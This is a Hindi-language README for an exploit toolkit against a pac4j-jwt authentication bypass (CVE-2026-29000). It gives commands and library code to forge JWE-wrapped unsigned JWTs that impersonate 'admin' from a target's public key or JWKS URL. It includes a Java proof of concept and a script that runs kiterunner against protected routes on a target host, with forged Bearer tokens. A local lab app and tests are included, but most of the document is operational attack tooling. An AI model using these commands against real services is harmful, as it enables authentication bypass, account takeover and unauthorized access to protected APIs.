
Forge JWE-लिपटे अहस्ताक्षरित JWT बनाकर pac4j-jwt हस्ताक्षर सत्यापन (CVE-2026-29000) को बायपास करें और किसी भी उपयोगकर्ता के रूप में प्रमाणित करें; इसमें Python CLI, लाइब्रेरी, Java PoC, और kiterunner रूट स्कैनिंग शामिल है।
पूर्ण बिल्डआउट: राइटअप, Java इन-प्रोसेस PoC, Python टोकन-फोर्ज CLI और लाइब्रेरी, टेस्ट।
विवरण और PoC आवश्यकताओं के लिए WRITEUP.md देखें।
| पथ | विवरण |
|---|---|
WRITEUP.md | CVE सारांश, मूल कारण, प्रभावित संस्करण, PoC आवश्यकताएँ, संदर्भ |
RECON.md | क्या डालना है (क्लेम डिस्कवरी, ऐप-विशिष्ट क्लेम) और कहाँ सबमिट करना है (हेडर, कुकीज़, संरक्षित एंडपॉइंट ढूँढना) |
OPERATIONALIZATION.md | प्रोडक्शन में चलाने के लिए क्या आवश्यक है: पैकेजिंग, कॉन्फ़िगरेशन, सुरक्षा, स्वचालन, ऑब्ज़र्वेबिलिटी, रखरखाव |
scripts/kr_scan.py | टोकन फोर्ज करें और Authorization: Bearer के साथ kiterunner (~/bin/kr) चलाएँ ताकि संरक्षित API रूट्स को ब्रूट/स्कैन किया जा सके |
examples/ | उदाहरण स्क्रिप्ट: forge_and_curl.sh, forge_and_kr.sh |
lab/ | टोकन-फोर्ज परीक्षण के लिए Flask लैब ऐप (JWE एंडपॉइंट + JWKS) |
poc/ | Java Maven PoC (pac4j-jwt 6.0.3 के विरुद्ध इन-प्रोसेस बाईपास) |
token_forge/ | Python पैकेज: PEM या JWKS URL से JWE-रैप्ड PlainJWT फोर्ज करें |
tests/ | क्लेम, फोर्ज, कुंजी, CLI के लिए Pytest टेस्ट |
requirements.txt | Python निर्भरताएँ (jwcrypto, requests, pytest) |
python3 -m venv .venv
source .venv/bin/activate # या Windows पर .venv\Scripts\activate
pip install -r requirements.txt
# PEM से (जनरेट करें: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# JWKS URL से
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
# अतिरिक्त क्लेम (ऐप-विशिष्ट डिस्कवरी के लिए): --claim [email protected] --claim key=value
# विकल्प: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
आउटपुट: एक पंक्ति (फोर्ज किया गया JWT); Authorization: Bearer <token> के रूप में उपयोग करें।
~/bin/kr में kr आवश्यक है। टोकन फोर्ज करें और Bearer प्रमाणीकरण के साथ kr brute (या kr scan) चलाएँ ताकि संरक्षित रूट्स खोजे जा सकें:
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run
विकल्पों के लिए RECON.md §4 देखें (--subject, --roles, --claim, -A, --scan, आदि)।
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# या चेतावनियों को त्रुटियों के रूप में:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# या केवल टोकन (इन-प्रोसेस सत्यापन के बिना):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# कस्टम subject/roles के साथ:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
अपेक्षित: इन-प्रोसेस चलाने पर [BYPASS] Authenticated as: admin#override और roles।
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # फिर htmlcov/index.html खोलें
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
Flask ऐप जो JWE स्वीकार करता है और क्लेम लौटाता है (फोर्ज + curl/kr परीक्षण के लिए)।
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
lab/README.md देखें।